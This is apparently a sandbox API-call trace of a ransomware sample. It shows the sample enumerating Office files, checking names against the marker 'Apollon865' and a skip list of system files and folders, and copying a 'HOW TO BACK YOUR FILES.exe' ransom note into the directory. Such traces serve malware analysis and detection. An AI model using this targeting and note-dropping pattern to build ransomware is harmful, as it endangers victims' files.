	[0075.491] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".ini") returned 1
	[0075.491] lstrlenW (lpString=".sys") returned 4
	[0075.492] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".sys") returned 1
	[0075.492] lstrlenW (lpString="EXP_PDF.DLL") returned 11
	[0075.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EXP_XPS.DLL" | out: lpString1="EXP_XPS.DLL") returned="EXP_XPS.DLL"
	[0075.492] lstrlenW (lpString="EXP_XPS.DLL") returned 11
	[0075.492] lstrlenW (lpString="Apollon865") returned 10
	[0075.492] lstrcmpiW (lpString1="XP_XPS.DLL", lpString2="Apollon865") returned 1
	[0075.492] lstrlenW (lpString=".dll") returned 4
	[0075.492] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".dll") returned 1
	[0075.492] lstrlenW (lpString=".lnk") returned 4
	[0075.492] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".lnk") returned 1
	[0075.492] lstrlenW (lpString=".ini") returned 4
	[0075.492] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".ini") returned 1
	[0075.492] lstrlenW (lpString=".sys") returned 4
	[0075.492] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".sys") returned 1
	[0075.492] lstrlenW (lpString="EXP_XPS.DLL") returned 11
	[0075.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="FLTLDR.EXE" | out: lpString1="FLTLDR.EXE") returned="FLTLDR.EXE"
	[0075.492] lstrlenW (lpString="FLTLDR.EXE") returned 10
	[0075.492] lstrlenW (lpString="Apollon865") returned 10
	[0075.492] lstrlenW (lpString=".dll") returned 4
	[0075.492] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".dll") returned 1
	[0075.492] lstrlenW (lpString=".lnk") returned 4
	[0075.492] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".lnk") returned 1
	[0075.492] lstrlenW (lpString=".ini") returned 4
	[0075.492] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".ini") returned 1
	[0075.492] lstrlenW (lpString=".sys") returned 4
	[0075.492] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".sys") returned 1
	[0075.492] lstrlenW (lpString="FLTLDR.EXE") returned 10
	[0075.492] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="IACOM2.DLL" | out: lpString1="IACOM2.DLL") returned="IACOM2.DLL"
	[0075.492] lstrlenW (lpString="IACOM2.DLL") returned 10
	[0075.493] lstrlenW (lpString="Apollon865") returned 10
	[0075.493] lstrlenW (lpString=".dll") returned 4
	[0075.493] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".dll") returned 1
	[0075.493] lstrlenW (lpString=".lnk") returned 4
	[0075.493] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".lnk") returned 1
	[0075.493] lstrlenW (lpString=".ini") returned 4
	[0075.493] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".ini") returned 1
	[0075.493] lstrlenW (lpString=".sys") returned 4
	[0075.493] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".sys") returned 1
	[0075.493] lstrlenW (lpString="IACOM2.DLL") returned 10
	[0075.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="LICLUA.EXE" | out: lpString1="LICLUA.EXE") returned="LICLUA.EXE"
	[0075.493] lstrlenW (lpString="LICLUA.EXE") returned 10
	[0075.493] lstrlenW (lpString="Apollon865") returned 10
	[0075.493] lstrlenW (lpString=".dll") returned 4
	[0075.493] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".dll") returned 1
	[0075.493] lstrlenW (lpString=".lnk") returned 4
	[0075.493] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".lnk") returned 1
	[0075.493] lstrlenW (lpString=".ini") returned 4
	[0075.493] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".ini") returned 1
	[0075.493] lstrlenW (lpString=".sys") returned 4
	[0075.493] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".sys") returned 1
	[0075.493] lstrlenW (lpString="LICLUA.EXE") returned 10
	[0075.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSO.DLL" | out: lpString1="MSO.DLL") returned="MSO.DLL"
	[0075.493] lstrlenW (lpString="MSO.DLL") returned 7
	[0075.493] lstrlenW (lpString="Apollon865") returned 10
	[0075.493] lstrlenW (lpString=".dll") returned 4
	[0075.493] lstrcmpiW (lpString1="MSO.DLL", lpString2=".dll") returned 1
	[0075.493] lstrlenW (lpString=".lnk") returned 4
	[0075.493] lstrcmpiW (lpString1="MSO.DLL", lpString2=".lnk") returned 1
	[0075.493] lstrlenW (lpString=".ini") returned 4
	[0075.493] lstrcmpiW (lpString1="MSO.DLL", lpString2=".ini") returned 1
	[0075.493] lstrlenW (lpString=".sys") returned 4
	[0075.494] lstrcmpiW (lpString1="MSO.DLL", lpString2=".sys") returned 1
	[0075.494] lstrlenW (lpString="MSO.DLL") returned 7
	[0075.494] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSOICONS.EXE" | out: lpString1="MSOICONS.EXE") returned="MSOICONS.EXE"
	[0075.494] lstrlenW (lpString="MSOICONS.EXE") returned 12
	[0075.494] lstrlenW (lpString="Apollon865") returned 10
	[0075.494] lstrcmpiW (lpString1="OICONS.EXE", lpString2="Apollon865") returned 1
	[0075.494] lstrlenW (lpString=".dll") returned 4
	[0075.494] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".dll") returned 1
	[0075.494] lstrlenW (lpString=".lnk") returned 4
	[0075.494] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".lnk") returned 1
	[0075.494] lstrlenW (lpString=".ini") returned 4
	[0075.494] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".ini") returned 1
	[0075.494] lstrlenW (lpString=".sys") returned 4
	[0075.494] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".sys") returned 1
	[0075.494] lstrlenW (lpString="MSOICONS.EXE") returned 12
	[0075.494] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSORES.DLL" | out: lpString1="MSORES.DLL") returned="MSORES.DLL"
	[0075.494] lstrlenW (lpString="MSORES.DLL") returned 10
	[0075.494] lstrlenW (lpString="Apollon865") returned 10
	[0075.494] lstrlenW (lpString=".dll") returned 4
	[0075.494] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".dll") returned 1
	[0075.494] lstrlenW (lpString=".lnk") returned 4
	[0075.494] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".lnk") returned 1
	[0075.494] lstrlenW (lpString=".ini") returned 4
	[0075.494] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".ini") returned 1
	[0075.494] lstrlenW (lpString=".sys") returned 4
	[0075.494] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".sys") returned 1
	[0075.494] lstrlenW (lpString="MSORES.DLL") returned 10
	[0075.494] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="msoshext.dll" | out: lpString1="msoshext.dll") returned="msoshext.dll"
	[0075.494] lstrlenW (lpString="msoshext.dll") returned 12
	[0075.494] lstrlenW (lpString="Apollon865") returned 10
	[0075.495] lstrcmpiW (lpString1="oshext.dll", lpString2="Apollon865") returned 1
	[0075.495] lstrlenW (lpString=".dll") returned 4
	[0075.495] lstrcmpiW (lpString1="msoshext.dll", lpString2=".dll") returned 1
	[0075.495] lstrlenW (lpString=".lnk") returned 4
	[0075.495] lstrcmpiW (lpString1="msoshext.dll", lpString2=".lnk") returned 1
	[0075.495] lstrlenW (lpString=".ini") returned 4
	[0075.495] lstrcmpiW (lpString1="msoshext.dll", lpString2=".ini") returned 1
	[0075.495] lstrlenW (lpString=".sys") returned 4
	[0075.495] lstrcmpiW (lpString1="msoshext.dll", lpString2=".sys") returned 1
	[0075.495] lstrlenW (lpString="msoshext.dll") returned 12
	[0075.495] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSOXEV.DLL" | out: lpString1="MSOXEV.DLL") returned="MSOXEV.DLL"
	[0075.495] lstrlenW (lpString="MSOXEV.DLL") returned 10
	[0075.495] lstrlenW (lpString="Apollon865") returned 10
	[0075.495] lstrlenW (lpString=".dll") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".dll") returned 1
	[0075.495] lstrlenW (lpString=".lnk") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".lnk") returned 1
	[0075.495] lstrlenW (lpString=".ini") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".ini") returned 1
	[0075.495] lstrlenW (lpString=".sys") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".sys") returned 1
	[0075.495] lstrlenW (lpString="MSOXEV.DLL") returned 10
	[0075.495] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSOXMLED.EXE" | out: lpString1="MSOXMLED.EXE") returned="MSOXMLED.EXE"
	[0075.495] lstrlenW (lpString="MSOXMLED.EXE") returned 12
	[0075.495] lstrlenW (lpString="Apollon865") returned 10
	[0075.495] lstrcmpiW (lpString1="OXMLED.EXE", lpString2="Apollon865") returned 1
	[0075.495] lstrlenW (lpString=".dll") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".dll") returned 1
	[0075.495] lstrlenW (lpString=".lnk") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".lnk") returned 1
	[0075.495] lstrlenW (lpString=".ini") returned 4
	[0075.495] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".ini") returned 1
	[0075.496] lstrlenW (lpString=".sys") returned 4
	[0075.496] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".sys") returned 1
	[0075.496] lstrlenW (lpString="MSOXMLED.EXE") returned 12
	[0075.496] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSOXMLMF.DLL" | out: lpString1="MSOXMLMF.DLL") returned="MSOXMLMF.DLL"
	[0075.496] lstrlenW (lpString="MSOXMLMF.DLL") returned 12
	[0075.496] lstrlenW (lpString="Apollon865") returned 10
	[0075.496] lstrcmpiW (lpString1="OXMLMF.DLL", lpString2="Apollon865") returned 1
	[0075.496] lstrlenW (lpString=".dll") returned 4
	[0075.496] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".dll") returned 1
	[0075.496] lstrlenW (lpString=".lnk") returned 4
	[0075.496] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".lnk") returned 1
	[0075.496] lstrlenW (lpString=".ini") returned 4
	[0075.496] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".ini") returned 1
	[0075.496] lstrlenW (lpString=".sys") returned 4
	[0075.496] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".sys") returned 1
	[0075.496] lstrlenW (lpString="MSOXMLMF.DLL") returned 12
	[0075.496] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSPTLS.DLL" | out: lpString1="MSPTLS.DLL") returned="MSPTLS.DLL"
	[0075.496] lstrlenW (lpString="MSPTLS.DLL") returned 10
	[0075.496] lstrlenW (lpString="Apollon865") returned 10
	[0075.496] lstrlenW (lpString=".dll") returned 4
	[0075.496] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".dll") returned 1
	[0075.496] lstrlenW (lpString=".lnk") returned 4
	[0075.496] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".lnk") returned 1
	[0075.496] lstrlenW (lpString=".ini") returned 4
	[0075.496] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".ini") returned 1
	[0075.496] lstrlenW (lpString=".sys") returned 4
	[0075.496] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".sys") returned 1
	[0075.496] lstrlenW (lpString="MSPTLS.DLL") returned 10
	[0075.496] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MSSOAP30.DLL" | out: lpString1="MSSOAP30.DLL") returned="MSSOAP30.DLL"
	[0075.497] lstrlenW (lpString="MSSOAP30.DLL") returned 12
	[0075.497] lstrlenW (lpString="Apollon865") returned 10
	[0075.497] lstrcmpiW (lpString1="SOAP30.DLL", lpString2="Apollon865") returned 1
	[0075.497] lstrlenW (lpString=".dll") returned 4
	[0075.497] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".dll") returned 1
	[0075.497] lstrlenW (lpString=".lnk") returned 4
	[0075.497] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".lnk") returned 1
	[0075.497] lstrlenW (lpString=".ini") returned 4
	[0075.497] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".ini") returned 1
	[0075.497] lstrlenW (lpString=".sys") returned 4
	[0075.497] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".sys") returned 1
	[0075.497] lstrlenW (lpString="MSSOAP30.DLL") returned 12
	[0075.497] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MUAUTH.CAB" | out: lpString1="MUAUTH.CAB") returned="MUAUTH.CAB"
	[0075.497] lstrlenW (lpString="MUAUTH.CAB") returned 10
	[0075.497] lstrlenW (lpString="Apollon865") returned 10
	[0075.497] lstrlenW (lpString=".dll") returned 4
	[0075.497] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".dll") returned 1
	[0075.497] lstrlenW (lpString=".lnk") returned 4
	[0075.497] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".lnk") returned 1
	[0075.497] lstrlenW (lpString=".ini") returned 4
	[0075.497] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".ini") returned 1
	[0075.497] lstrlenW (lpString=".sys") returned 4
	[0075.497] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".sys") returned 1
	[0075.497] lstrlenW (lpString="MUAUTH.CAB") returned 10
	[0075.497] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MUOPTIN.DLL" | out: lpString1="MUOPTIN.DLL") returned="MUOPTIN.DLL"
	[0075.497] lstrlenW (lpString="MUOPTIN.DLL") returned 11
	[0075.497] lstrlenW (lpString="Apollon865") returned 10
	[0075.497] lstrcmpiW (lpString1="UOPTIN.DLL", lpString2="Apollon865") returned 1
	[0075.497] lstrlenW (lpString=".dll") returned 4
	[0075.497] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".dll") returned 1
	[0075.497] lstrlenW (lpString=".lnk") returned 4
	[0075.497] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".lnk") returned 1
	[0075.498] lstrlenW (lpString=".ini") returned 4
	[0075.498] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".ini") returned 1
	[0075.498] lstrlenW (lpString=".sys") returned 4
	[0075.498] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2=".sys") returned 1
	[0075.498] lstrlenW (lpString="MUOPTIN.DLL") returned 11
	[0075.498] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Oarpmany.exe" | out: lpString1="Oarpmany.exe") returned="Oarpmany.exe"
	[0075.498] lstrlenW (lpString="Oarpmany.exe") returned 12
	[0075.498] lstrlenW (lpString="Apollon865") returned 10
	[0075.498] lstrcmpiW (lpString1="rpmany.exe", lpString2="Apollon865") returned 1
	[0075.498] lstrlenW (lpString=".dll") returned 4
	[0075.498] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".dll") returned 1
	[0075.498] lstrlenW (lpString=".lnk") returned 4
	[0075.498] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".lnk") returned 1
	[0075.498] lstrlenW (lpString=".ini") returned 4
	[0075.498] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".ini") returned 1
	[0075.498] lstrlenW (lpString=".sys") returned 4
	[0075.498] lstrcmpiW (lpString1="Oarpmany.exe", lpString2=".sys") returned 1
	[0075.498] lstrlenW (lpString="Oarpmany.exe") returned 12
	[0075.498] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ODBCMON.DLL" | out: lpString1="ODBCMON.DLL") returned="ODBCMON.DLL"
	[0075.498] lstrlenW (lpString="ODBCMON.DLL") returned 11
	[0075.498] lstrlenW (lpString="Apollon865") returned 10
	[0075.498] lstrcmpiW (lpString1="DBCMON.DLL", lpString2="Apollon865") returned 1
	[0075.498] lstrlenW (lpString=".dll") returned 4
	[0075.498] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".dll") returned 1
	[0075.498] lstrlenW (lpString=".lnk") returned 4
	[0075.498] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".lnk") returned 1
	[0075.498] lstrlenW (lpString=".ini") returned 4
	[0075.498] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".ini") returned 1
	[0075.498] lstrlenW (lpString=".sys") returned 4
	[0075.498] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2=".sys") returned 1
	[0075.498] lstrlenW (lpString="ODBCMON.DLL") returned 11
	[0075.499] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Office Setup Controller" | out: lpString1="Office Setup Controller") returned="Office Setup Controller"
	[0075.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0075.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cafd0
	[0075.499] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0075.499] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="..") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="windows") returned -1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootmgr") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="temp") returned -1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="pagefile.sys") returned -1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="boot") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ids.txt") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntuser.dat") returned 1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="perflogs") returned -1
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="MSBuild") returned 1
	[0075.499] lstrlenW (lpString="OFFREL.DLL") returned 10
	[0075.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned 79
	[0075.499] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="OFFREL.DLL" | out: lpString1="OFFREL.DLL") returned="OFFREL.DLL"
	[0075.499] lstrlenW (lpString="OFFREL.DLL") returned 10
	[0075.499] lstrlenW (lpString="Apollon865") returned 10
	[0075.499] lstrlenW (lpString=".dll") returned 4
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".dll") returned 1
	[0075.499] lstrlenW (lpString=".lnk") returned 4
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".lnk") returned 1
	[0075.499] lstrlenW (lpString=".ini") returned 4
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".ini") returned 1
	[0075.499] lstrlenW (lpString=".sys") returned 4
	[0075.499] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".sys") returned 1
	[0075.499] lstrlenW (lpString="OFFREL.DLL") returned 10
	[0075.500] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="OPHPROXY.DLL" | out: lpString1="OPHPROXY.DLL") returned="OPHPROXY.DLL"
	[0075.500] lstrlenW (lpString="OPHPROXY.DLL") returned 12
	[0075.500] lstrlenW (lpString="Apollon865") returned 10
	[0075.500] lstrcmpiW (lpString1="HPROXY.DLL", lpString2="Apollon865") returned 1
	[0075.500] lstrlenW (lpString=".dll") returned 4
	[0075.500] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".dll") returned 1
	[0075.500] lstrlenW (lpString=".lnk") returned 4
	[0075.500] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".lnk") returned 1
	[0075.500] lstrlenW (lpString=".ini") returned 4
	[0075.500] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".ini") returned 1
	[0075.500] lstrlenW (lpString=".sys") returned 4
	[0075.500] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2=".sys") returned 1
	[0075.500] lstrlenW (lpString="OPHPROXY.DLL") returned 12
	[0075.500] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="OPTINPS.DLL" | out: lpString1="OPTINPS.DLL") returned="OPTINPS.DLL"
	[0075.500] lstrlenW (lpString="OPTINPS.DLL") returned 11
	[0075.500] lstrlenW (lpString="Apollon865") returned 10
	[0075.500] lstrcmpiW (lpString1="PTINPS.DLL", lpString2="Apollon865") returned 1
	[0075.500] lstrlenW (lpString=".dll") returned 4
	[0075.500] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".dll") returned 1
	[0075.500] lstrlenW (lpString=".lnk") returned 4
	[0075.500] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".lnk") returned 1
	[0075.500] lstrlenW (lpString=".ini") returned 4
	[0075.500] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".ini") returned 1
	[0075.500] lstrlenW (lpString=".sys") returned 4
	[0075.500] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2=".sys") returned 1
	[0075.500] lstrlenW (lpString="OPTINPS.DLL") returned 11
	[0075.500] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PJ11OD11.DLL" | out: lpString1="PJ11OD11.DLL") returned="PJ11OD11.DLL"
	[0075.500] lstrlenW (lpString="PJ11OD11.DLL") returned 12
	[0075.500] lstrlenW (lpString="Apollon865") returned 10
	[0075.500] lstrcmpiW (lpString1="11OD11.DLL", lpString2="Apollon865") returned -1
	[0075.500] lstrlenW (lpString=".dll") returned 4
	[0075.501] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".dll") returned 1
	[0075.501] lstrlenW (lpString=".lnk") returned 4
	[0075.501] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".lnk") returned 1
	[0075.501] lstrlenW (lpString=".ini") returned 4
	[0075.501] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".ini") returned 1
	[0075.501] lstrlenW (lpString=".sys") returned 4
	[0075.501] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2=".sys") returned 1
	[0075.501] lstrlenW (lpString="PJ11OD11.DLL") returned 12
	[0075.501] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PJRESC.DLL" | out: lpString1="PJRESC.DLL") returned="PJRESC.DLL"
	[0075.501] lstrlenW (lpString="PJRESC.DLL") returned 10
	[0075.501] lstrlenW (lpString="Apollon865") returned 10
	[0075.501] lstrlenW (lpString=".dll") returned 4
	[0075.501] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".dll") returned 1
	[0075.501] lstrlenW (lpString=".lnk") returned 4
	[0075.501] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".lnk") returned 1
	[0075.501] lstrlenW (lpString=".ini") returned 4
	[0075.501] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".ini") returned 1
	[0075.501] lstrlenW (lpString=".sys") returned 4
	[0075.501] lstrcmpiW (lpString1="PJRESC.DLL", lpString2=".sys") returned 1
	[0075.501] lstrlenW (lpString="PJRESC.DLL") returned 10
	[0075.501] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="PRJRES.DLL" | out: lpString1="PRJRES.DLL") returned="PRJRES.DLL"
	[0075.501] lstrlenW (lpString="PRJRES.DLL") returned 10
	[0075.501] lstrlenW (lpString="Apollon865") returned 10
	[0075.501] lstrlenW (lpString=".dll") returned 4
	[0075.501] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".dll") returned 1
	[0075.501] lstrlenW (lpString=".lnk") returned 4
	[0075.501] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".lnk") returned 1
	[0075.501] lstrlenW (lpString=".ini") returned 4
	[0075.501] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".ini") returned 1
	[0075.501] lstrlenW (lpString=".sys") returned 4
	[0075.501] lstrcmpiW (lpString1="PRJRES.DLL", lpString2=".sys") returned 1
	[0075.501] lstrlenW (lpString="PRJRES.DLL") returned 10
	[0075.502] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="RICHED20.DLL" | out: lpString1="RICHED20.DLL") returned="RICHED20.DLL"
	[0075.502] lstrlenW (lpString="RICHED20.DLL") returned 12
	[0075.502] lstrlenW (lpString="Apollon865") returned 10
	[0075.502] lstrcmpiW (lpString1="CHED20.DLL", lpString2="Apollon865") returned 1
	[0075.502] lstrlenW (lpString=".dll") returned 4
	[0075.502] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".dll") returned 1
	[0075.502] lstrlenW (lpString=".lnk") returned 4
	[0075.502] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".lnk") returned 1
	[0075.502] lstrlenW (lpString=".ini") returned 4
	[0075.502] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".ini") returned 1
	[0075.502] lstrlenW (lpString=".sys") returned 4
	[0075.502] lstrcmpiW (lpString1="RICHED20.DLL", lpString2=".sys") returned 1
	[0075.502] lstrlenW (lpString="RICHED20.DLL") returned 12
	[0075.502] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="SERCONV.DLL" | out: lpString1="SERCONV.DLL") returned="SERCONV.DLL"
	[0075.502] lstrlenW (lpString="SERCONV.DLL") returned 11
	[0075.502] lstrlenW (lpString="Apollon865") returned 10
	[0075.502] lstrcmpiW (lpString1="ERCONV.DLL", lpString2="Apollon865") returned 1
	[0075.502] lstrlenW (lpString=".dll") returned 4
	[0075.502] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".dll") returned 1
	[0075.502] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="USP10.DLL" | out: lpString1="USP10.DLL") returned="USP10.DLL"
	[0075.502] lstrlenW (lpString="USP10.DLL") returned 9
	[0075.502] lstrlenW (lpString="Apollon865") returned 10
	[0075.502] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="VBAJET32.DLL" | out: lpString1="VBAJET32.DLL") returned="VBAJET32.DLL"
	[0075.502] lstrlenW (lpString="VBAJET32.DLL") returned 12
	[0075.502] lstrlenW (lpString="Apollon865") returned 10
	[0075.503] lstrcmpiW (lpString1="AJET32.DLL", lpString2="Apollon865") returned -1
	[0075.503] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="WISC30.DLL" | out: lpString1="WISC30.DLL") returned="WISC30.DLL"
	[0075.503] lstrlenW (lpString="WISC30.DLL") returned 10
	[0075.503] lstrlenW (lpString="Apollon865") returned 10
	[0075.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller"
	[0075.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0075.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0075.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned 79
	[0075.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller"
	[0075.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\how to back your files.exe"), bFailIfExists=1) returned 1
